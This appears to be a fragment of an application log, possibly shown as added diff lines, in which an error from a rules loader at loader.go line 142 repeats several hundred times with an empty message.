+time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= 